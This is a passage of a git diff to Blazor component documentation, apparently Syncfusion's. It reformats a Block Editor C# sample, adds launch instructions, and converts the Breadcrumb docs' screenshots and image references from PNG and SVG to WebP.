+                BlockType = BlockType.Paragraph,
+                Content =
                 {
-                    BlockType = BlockType.Paragraph,
-                    Content =
+                    new ContentModel
                     {
-                        new ContentModel { ContentType = ContentType.Text, Content = "Welcome to" },
-                        new ContentModel { ContentType = ContentType.Text, Content = " Block Editor", Properties = new TextContentSettings { Styles = new StyleModel { Bold = true } } },
-                        new ContentModel { ContentType = ContentType.Text, Content = " - your flexible, modular workspace for creating rich, structured content. Whether you're drafting documents, brainstorming ideas, or collaborating with your team, Block Editor makes it simple and intuitive." }
+                        ContentType = ContentType.Text,
+                        Content = "Welcome to"
+                    },
+                    new ContentModel
+                    {
+                        ContentType = ContentType.Text,
+                        Content = " Block Editor",
+                        Properties = new TextContentSettings
+                        {
+                            Styles = new StyleModel { Bold = true }
+                        }
+                    },
+                    new ContentModel
+                    {
+                        ContentType = ContentType.Text,
+                        Content = " - your flexible, modular workspace for creating rich, structured content. Whether you're drafting documents, brainstorming ideas, or collaborating with your team, Block Editor makes it simple and intuitive."
                     }
-                },
-                new BlockModel { BlockType = BlockType.Paragraph, Content = new List<ContentModel>() }
-            };
-            return blockDataOverview;
-        }
+                }
+            },
+            new BlockModel
+            {
+                BlockType = BlockType.Paragraph,
+                Content = new List<ContentModel>()
+            }
+        };
+
+        return blockDataOverview;
     }
 }
+```
+
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBSiBVATWtpaEWo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Block Editor Component](images/blazor-block-editor-component.webp)" %}
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor Block Editor component in the default web browser.
+
+{% previewsample "(https://blazorplayground.syncfusion.com/embed/LNLIsrhAgbKCOpbZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5)" backgroundimage "[Blazor BlockEditor Default.](images/blazor-block-editor-default.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/BlockEditor)
\ No newline at end of file
diff --git a/blazor/breadcrumb/breadcrumb-items.md b/blazor/breadcrumb/breadcrumb-items.md
index 6db36308f9..8fdb269872 100644
--- a/blazor/breadcrumb/breadcrumb-items.md
+++ b/blazor/breadcrumb/breadcrumb-items.md
@@ -31,7 +31,7 @@ The [Blazor Breadcrumb](https://www.syncfusion.com/blazor-components/blazor-brea
     </BreadcrumbItems>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjBqCLsJJBaogECl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-tag.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjBqCLsJJBaogECl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-tag.webp)" %}
 
 ## Items based on current URL
 
@@ -42,7 +42,7 @@ The Breadcrumb items can be generated based on the current URL of the page when
 
 <SfBreadcrumb></SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhUWVWJzVObSwiI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-current-url.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhUWVWJzVObSwiI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-current-url.webp)" %}
 
 N> This output screenshot shows the [Bind to Location](https://blazor.syncfusion.com/demos/breadcrumb/bind-to-location) sample.
 
@@ -56,7 +56,7 @@ You can generate the Breadcrumb items by providing the [Url](https://help.syncfu
 <SfBreadcrumb Url="https://blazor.syncfusion.com/demos/breadcrumb/navigation">
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtLAMBWpzqZWfPfm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-static-url.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtLAMBWpzqZWfPfm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-static-url.webp)" %}
 
 ## Add or remove the Breadcrumb items
 
diff --git a/blazor/breadcrumb/getting-started-with-server-app.md b/blazor/breadcrumb/getting-started-with-server-app.md
index cc20b159e2..9f21e38b82 100644
--- a/blazor/breadcrumb/getting-started-with-server-app.md
+++ b/blazor/breadcrumb/getting-started-with-server-app.md
@@ -194,7 +194,7 @@ To render Breadcrumb component with items use [BreadcrumbItem](https://help.sync
 
 N> Place list of [BreadcrumbItem](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.BreadcrumbItem.html) within [BreadcrumbItems](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.BreadcrumbItems.html) tag directive.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVzNCByUbgRQChk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-items.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVzNCByUbgRQChk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-items.webp)" %}
 
 ## Enable or disable navigation
 
diff --git a/blazor/breadcrumb/getting-started-with-web-app.md b/blazor/breadcrumb/getting-started-with-web-app.md
index 86a53786cc..9d6e504e8f 100644
--- a/blazor/breadcrumb/getting-started-with-web-app.md
+++ b/blazor/breadcrumb/getting-started-with-web-app.md
@@ -200,7 +200,7 @@ To render Breadcrumb component with items use [BreadcrumbItem](https://help.sync
 
 N> Place list of [BreadcrumbItem](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.BreadcrumbItem.html) within [BreadcrumbItems](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.BreadcrumbItems.html) tag directive.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVzNCByUbgRQChk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-items.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVzNCByUbgRQChk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-items.webp)" %}
 
 ## Enable or disable navigation
 
diff --git a/blazor/breadcrumb/getting-started.md b/blazor/breadcrumb/getting-started.md
index 03335f38f2..cf45afde15 100644
--- a/blazor/breadcrumb/getting-started.md
+++ b/blazor/breadcrumb/getting-started.md
@@ -154,7 +154,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Breadcrumb compo
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This renders the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Breadcrumb component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXhpNiBSgmQNkpCP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXhpNiBSgmQNkpCP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-component.webp)" %}
 
 N> The Breadcrumb component will render based on the current URL, when the Breadcrumb items are not specified.
 
@@ -181,7 +181,7 @@ To render Breadcrumb component with items use [BreadcrumbItem](https://help.sync
 
 N> Place list of [BreadcrumbItem](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.BreadcrumbItem.html) within [BreadcrumbItems](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.BreadcrumbItems.html) tag directive.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVzNCByUbgRQChk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-items.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZVzNCByUbgRQChk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-items.webp)" %}
 
 ## Enable or disable navigation
 
diff --git a/blazor/breadcrumb/icons.md b/blazor/breadcrumb/icons.md
index 5992eb3bcc..beef5d293a 100644
--- a/blazor/breadcrumb/icons.md
+++ b/blazor/breadcrumb/icons.md
@@ -27,7 +27,7 @@ To place the font icon on the Breadcrumb item, set the [IconCss](https://help.sy
     </BreadcrumbItems>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLgWLMTfUsCSUjG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-items.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLgWLMTfUsCSUjG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-items.webp)" %}
 
 N> By default, the icon is positioned to the left side of the item.
 
@@ -55,7 +55,7 @@ In the Breadcrumb component, you can add images to the items using [IconCss](htt
     }
 </style>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjhgsLMppKsTBQHd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/image.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjhgsLMppKsTBQHd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/image.webp)" %}
 
 ## Breadcrumb with SVG image
 
@@ -81,7 +81,7 @@ In the Breadcrumb component, SVG image can be added for the items using the [Ico
     }
 </style>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrgsLCJfAixuNYA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Breadcrumb Sample](./images/svg.PNG)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrgsLCJfAixuNYA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Breadcrumb Sample](./images/svg.webp)" %}
 
 ## Icon only
 
@@ -100,7 +100,7 @@ In the following example, Breadcrumb items are demonstrated with only icons by p
     </BreadcrumbItems>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNrgWrWTTqsOeruV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Breadcrumb Sample](./images/icon-only.PNG)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNrgWrWTTqsOeruV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Breadcrumb Sample](./images/icon-only.webp)" %}
 
 ## Show icon only for first item
 
@@ -118,4 +118,4 @@ To show icon only for the first item in the Breadcrumb component, add icons to t
     </BreadcrumbItems>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXLgChsTfKrhKYox?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-items.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXLgChsTfKrhKYox?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-breadcrumb-items.webp)" %}
\ No newline at end of file
diff --git a/blazor/breadcrumb/images/Blazor-server-app-creation.png b/blazor/breadcrumb/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/breadcrumb/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/Blazor-server-app-creation.webp b/blazor/breadcrumb/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/breadcrumb/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-absolute-url.PNG b/blazor/breadcrumb/images/blazor-Breadcrumb-absolute-url.PNG
deleted file mode 100644
index df71eb0bc1..0000000000
Binary files a/blazor/breadcrumb/images/blazor-Breadcrumb-absolute-url.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-absolute-url.webp b/blazor/breadcrumb/images/blazor-Breadcrumb-absolute-url.webp
new file mode 100644
index 0000000000..e488185723
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-Breadcrumb-absolute-url.webp differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-current-url.PNG b/blazor/breadcrumb/images/blazor-Breadcrumb-current-url.PNG
deleted file mode 100644
index 0a755a17a0..0000000000
Binary files a/blazor/breadcrumb/images/blazor-Breadcrumb-current-url.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-current-url.webp b/blazor/breadcrumb/images/blazor-Breadcrumb-current-url.webp
new file mode 100644
index 0000000000..1047c5bddd
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-Breadcrumb-current-url.webp differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-enable-navigation.PNG b/blazor/breadcrumb/images/blazor-Breadcrumb-enable-navigation.PNG
deleted file mode 100644
index ad58cee170..0000000000
Binary files a/blazor/breadcrumb/images/blazor-Breadcrumb-enable-navigation.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-enable-navigation.webp b/blazor/breadcrumb/images/blazor-Breadcrumb-enable-navigation.webp
new file mode 100644
index 0000000000..1efbcbb645
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-Breadcrumb-enable-navigation.webp differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-enable.PNG b/blazor/breadcrumb/images/blazor-Breadcrumb-enable.PNG
deleted file mode 100644
index 251bd9dcb4..0000000000
Binary files a/blazor/breadcrumb/images/blazor-Breadcrumb-enable.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-enable.webp b/blazor/breadcrumb/images/blazor-Breadcrumb-enable.webp
new file mode 100644
index 0000000000..cdc38f75f4
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-Breadcrumb-enable.webp differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-item-template.PNG b/blazor/breadcrumb/images/blazor-Breadcrumb-item-template.PNG
deleted file mode 100644
index ae931eb041..0000000000
Binary files a/blazor/breadcrumb/images/blazor-Breadcrumb-item-template.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-item-template.webp b/blazor/breadcrumb/images/blazor-Breadcrumb-item-template.webp
new file mode 100644
index 0000000000..be00c2dfbd
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-Breadcrumb-item-template.webp differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-relative-url.PNG b/blazor/breadcrumb/images/blazor-Breadcrumb-relative-url.PNG
deleted file mode 100644
index 3213a4e6f7..0000000000
Binary files a/blazor/breadcrumb/images/blazor-Breadcrumb-relative-url.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-relative-url.webp b/blazor/breadcrumb/images/blazor-Breadcrumb-relative-url.webp
new file mode 100644
index 0000000000..e1d30e57d0
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-Breadcrumb-relative-url.webp differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-static-url.PNG b/blazor/breadcrumb/images/blazor-Breadcrumb-static-url.PNG
deleted file mode 100644
index ccf30f61f6..0000000000
Binary files a/blazor/breadcrumb/images/blazor-Breadcrumb-static-url.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-static-url.webp b/blazor/breadcrumb/images/blazor-Breadcrumb-static-url.webp
new file mode 100644
index 0000000000..f3c310381d
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-Breadcrumb-static-url.webp differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-tag.PNG b/blazor/breadcrumb/images/blazor-Breadcrumb-tag.PNG
deleted file mode 100644
index 1976cb2bfa..0000000000
Binary files a/blazor/breadcrumb/images/blazor-Breadcrumb-tag.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-Breadcrumb-tag.webp b/blazor/breadcrumb/images/blazor-Breadcrumb-tag.webp
new file mode 100644
index 0000000000..044bc2e4e0
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-Breadcrumb-tag.webp differ
diff --git a/blazor/breadcrumb/images/blazor-app-interactive-mode.png b/blazor/breadcrumb/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/breadcrumb/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-app-interactive-mode.webp b/blazor/breadcrumb/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-component.png b/blazor/breadcrumb/images/blazor-breadcrumb-component.png
deleted file mode 100644
index 0ab2a6c833..0000000000
Binary files a/blazor/breadcrumb/images/blazor-breadcrumb-component.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-component.webp b/blazor/breadcrumb/images/blazor-breadcrumb-component.webp
new file mode 100644
index 0000000000..8163805d56
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-breadcrumb-component.webp differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-items.png b/blazor/breadcrumb/images/blazor-breadcrumb-items.png
deleted file mode 100644
index 08a65a59bf..0000000000
Binary files a/blazor/breadcrumb/images/blazor-breadcrumb-items.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-items.webp b/blazor/breadcrumb/images/blazor-breadcrumb-items.webp
new file mode 100644
index 0000000000..370f0a7b83
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-breadcrumb-items.webp differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-overflow.PNG b/blazor/breadcrumb/images/blazor-breadcrumb-overflow.PNG
deleted file mode 100644
index d4e02a3a4f..0000000000
Binary files a/blazor/breadcrumb/images/blazor-breadcrumb-overflow.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-overflow.webp b/blazor/breadcrumb/images/blazor-breadcrumb-overflow.webp
new file mode 100644
index 0000000000..0475c428f5
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-breadcrumb-overflow.webp differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-separator-temp.PNG b/blazor/breadcrumb/images/blazor-breadcrumb-separator-temp.PNG
deleted file mode 100644
index 22b5742e64..0000000000
Binary files a/blazor/breadcrumb/images/blazor-breadcrumb-separator-temp.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-separator-temp.webp b/blazor/breadcrumb/images/blazor-breadcrumb-separator-temp.webp
new file mode 100644
index 0000000000..f2631f92d0
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-breadcrumb-separator-temp.webp differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-style-and-appearance.png b/blazor/breadcrumb/images/blazor-breadcrumb-style-and-appearance.png
deleted file mode 100644
index 6fb8eff415..0000000000
Binary files a/blazor/breadcrumb/images/blazor-breadcrumb-style-and-appearance.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-breadcrumb-style-and-appearance.webp b/blazor/breadcrumb/images/blazor-breadcrumb-style-and-appearance.webp
new file mode 100644
index 0000000000..e8d5c91ef0
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-breadcrumb-style-and-appearance.webp differ
diff --git a/blazor/breadcrumb/images/blazor-create-web-app.png b/blazor/breadcrumb/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/breadcrumb/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-create-web-app.webp b/blazor/breadcrumb/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-create-web-app.webp differ
diff --git a/blazor/breadcrumb/images/blazor-wasm-app-template.png b/blazor/breadcrumb/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/breadcrumb/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/blazor-wasm-app-template.webp b/blazor/breadcrumb/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/breadcrumb/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/breadcrumb/images/bread-overflow-hidden.png b/blazor/breadcrumb/images/bread-overflow-hidden.png
deleted file mode 100644
index 7b5b423999..0000000000
Binary files a/blazor/breadcrumb/images/bread-overflow-hidden.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/bread-overflow-hidden.webp b/blazor/breadcrumb/images/bread-overflow-hidden.webp
new file mode 100644
index 0000000000..9c2ea3d705
Binary files /dev/null and b/blazor/breadcrumb/images/bread-overflow-hidden.webp differ
diff --git a/blazor/breadcrumb/images/breadcrumb-collapsed.png b/blazor/breadcrumb/images/breadcrumb-collapsed.png
deleted file mode 100644
index c16afac68c..0000000000
Binary files a/blazor/breadcrumb/images/breadcrumb-collapsed.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/breadcrumb-collapsed.webp b/blazor/breadcrumb/images/breadcrumb-collapsed.webp
new file mode 100644
index 0000000000..457fa446bc
Binary files /dev/null and b/blazor/breadcrumb/images/breadcrumb-collapsed.webp differ
diff --git a/blazor/breadcrumb/images/breadcrumb-hidden.png b/blazor/breadcrumb/images/breadcrumb-hidden.png
deleted file mode 100644
index 089572fd8f..0000000000
Binary files a/blazor/breadcrumb/images/breadcrumb-hidden.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/breadcrumb-hidden.webp b/blazor/breadcrumb/images/breadcrumb-hidden.webp
new file mode 100644
index 0000000000..dbc7dee4c9
Binary files /dev/null and b/blazor/breadcrumb/images/breadcrumb-hidden.webp differ
diff --git a/blazor/breadcrumb/images/breadcrumb-menu.png b/blazor/breadcrumb/images/breadcrumb-menu.png
deleted file mode 100644
index 55017adf1b..0000000000
Binary files a/blazor/breadcrumb/images/breadcrumb-menu.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/breadcrumb-menu.webp b/blazor/breadcrumb/images/breadcrumb-menu.webp
new file mode 100644
index 0000000000..d93dbfe30b
Binary files /dev/null and b/blazor/breadcrumb/images/breadcrumb-menu.webp differ
diff --git a/blazor/breadcrumb/images/breadcrumb-scroll.png b/blazor/breadcrumb/images/breadcrumb-scroll.png
deleted file mode 100644
index 999b7970de..0000000000
Binary files a/blazor/breadcrumb/images/breadcrumb-scroll.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/breadcrumb-scroll.webp b/blazor/breadcrumb/images/breadcrumb-scroll.webp
new file mode 100644
index 0000000000..b8d8e42da9
Binary files /dev/null and b/blazor/breadcrumb/images/breadcrumb-scroll.webp differ
diff --git a/blazor/breadcrumb/images/breadcrumb-specific-item-template.png b/blazor/breadcrumb/images/breadcrumb-specific-item-template.png
deleted file mode 100644
index 3121651e62..0000000000
Binary files a/blazor/breadcrumb/images/breadcrumb-specific-item-template.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/breadcrumb-specific-item-template.webp b/blazor/breadcrumb/images/breadcrumb-specific-item-template.webp
new file mode 100644
index 0000000000..de399c46ee
Binary files /dev/null and b/blazor/breadcrumb/images/breadcrumb-specific-item-template.webp differ
diff --git a/blazor/breadcrumb/images/breadcrumb-wrap.png b/blazor/breadcrumb/images/breadcrumb-wrap.png
deleted file mode 100644
index b609560403..0000000000
Binary files a/blazor/breadcrumb/images/breadcrumb-wrap.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/breadcrumb-wrap.webp b/blazor/breadcrumb/images/breadcrumb-wrap.webp
new file mode 100644
index 0000000000..7da2bc1699
Binary files /dev/null and b/blazor/breadcrumb/images/breadcrumb-wrap.webp differ
diff --git a/blazor/breadcrumb/images/home.png b/blazor/breadcrumb/images/home.png
deleted file mode 100644
index ec118bcb9f..0000000000
Binary files a/blazor/breadcrumb/images/home.png and /dev/null differ
diff --git a/blazor/breadcrumb/images/home.svg b/blazor/breadcrumb/images/home.svg
deleted file mode 100644
index 5c36657ca4..0000000000
--- a/blazor/breadcrumb/images/home.svg
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
- "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
-<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
- width="20px" height="20px" viewBox="0 0 1280.000000 1206.000000"
- preserveAspectRatio="xMidYMid meet">
-<metadata>
-Created by potrace 1.15, written by Peter Selinger 2001-2017
-</metadata>
-<g transform="translate(0.000000,1206.000000) scale(0.100000,-0.100000)"
-fill="#000000" stroke="none">
-<path d="M5828 11600 c-282 -250 -1418 -1256 -2523 -2235 -1106 -978 -2165
--1917 -2355 -2085 -190 -168 -460 -407 -600 -530 -140 -124 -276 -245 -302
--270 l-48 -45 330 -370 c181 -203 336 -369 343 -369 8 1 603 521 1323 1156
-3778 3332 4388 3868 4395 3866 4 -2 470 -413 1036 -914 565 -501 1842 -1631
-2836 -2512 994 -881 1812 -1602 1817 -1602 5 0 12 5 15 10 5 8 11 7 21 -1 19
--15 -10 -45 339 351 153 173 293 331 312 351 l34 36 -838 739 c-461 407 -1544
-1363 -2408 2124 -863 762 -1919 1693 -2347 2070 l-776 685 -45 0 -45 0 -514
--455z"/>
-<path d="M5707 9301 c-364 -322 -1370 -1213 -2235 -1979 l-1572 -1393 2 -2872
-3 -2872 22 -41 c12 -23 41 -58 64 -77 83 -72 -24 -67 1561 -67 l1428 0 2 1273
-c3 1266 3 1272 24 1317 26 58 76 108 134 134 45 21 52 21 1224 24 1304 3 1248
-5 1322 -60 52 -46 81 -97 93 -163 8 -40 11 -454 11 -1292 l0 -1233 1484 2
-1485 3 30 29 c17 16 45 63 63 105 l33 76 2 2860 2 2860 -2240 1975 c-1270
-1120 -2249 1976 -2260 1976 -13 1 -247 -200 -682 -585z"/>
-</g>
-</svg>
diff --git a/blazor/breadcrumb/images/home.webp b/blazor/breadcrumb/images/home.webp
new file mode 100644
index 0000000000..f33e0ffe73
Binary files /dev/null and b/blazor/breadcrumb/images/home.webp differ
diff --git a/blazor/breadcrumb/images/icon-only.PNG b/blazor/breadcrumb/images/icon-only.PNG
deleted file mode 100644
index 32e42b2983..0000000000
Binary files a/blazor/breadcrumb/images/icon-only.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/icon-only.webp b/blazor/breadcrumb/images/icon-only.webp
new file mode 100644
index 0000000000..eedd6ed889
Binary files /dev/null and b/blazor/breadcrumb/images/icon-only.webp differ
diff --git a/blazor/breadcrumb/images/image.PNG b/blazor/breadcrumb/images/image.PNG
deleted file mode 100644
index 135b2d1965..0000000000
Binary files a/blazor/breadcrumb/images/image.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/image.webp b/blazor/breadcrumb/images/image.webp
new file mode 100644
index 0000000000..516aed543b
Binary files /dev/null and b/blazor/breadcrumb/images/image.webp differ
diff --git a/blazor/breadcrumb/images/svg.PNG b/blazor/breadcrumb/images/svg.PNG
deleted file mode 100644
index 0c0ed63954..0000000000
Binary files a/blazor/breadcrumb/images/svg.PNG and /dev/null differ
diff --git a/blazor/breadcrumb/images/svg.webp b/blazor/breadcrumb/images/svg.webp
new file mode 100644
index 0000000000..859b78464d
Binary files /dev/null and b/blazor/breadcrumb/images/svg.webp differ
diff --git a/blazor/breadcrumb/navigation.md b/blazor/breadcrumb/navigation.md
index 6a355090ac..6eb211bac4 100644
--- a/blazor/breadcrumb/navigation.md
+++ b/blazor/breadcrumb/navigation.md
@@ -29,7 +29,7 @@ You can specify relative URL in the [Url](https://help.syncfusion.com/cr/blazor/
     </BreadcrumbItems>
 </SfBreadcrumb>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXrUCBsJJKhvVXTj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-relative-url.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXrUCBsJJKhvVXTj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Breadcrumb Component](./images/blazor-Breadcrumb-relative-url.webp)" %}
 
 ## Absolute URL
 
@@ -48,7 +48,7 @@ You can specify absolute URL in the [Url](https://help.syncfusion.com/cr/blazor/
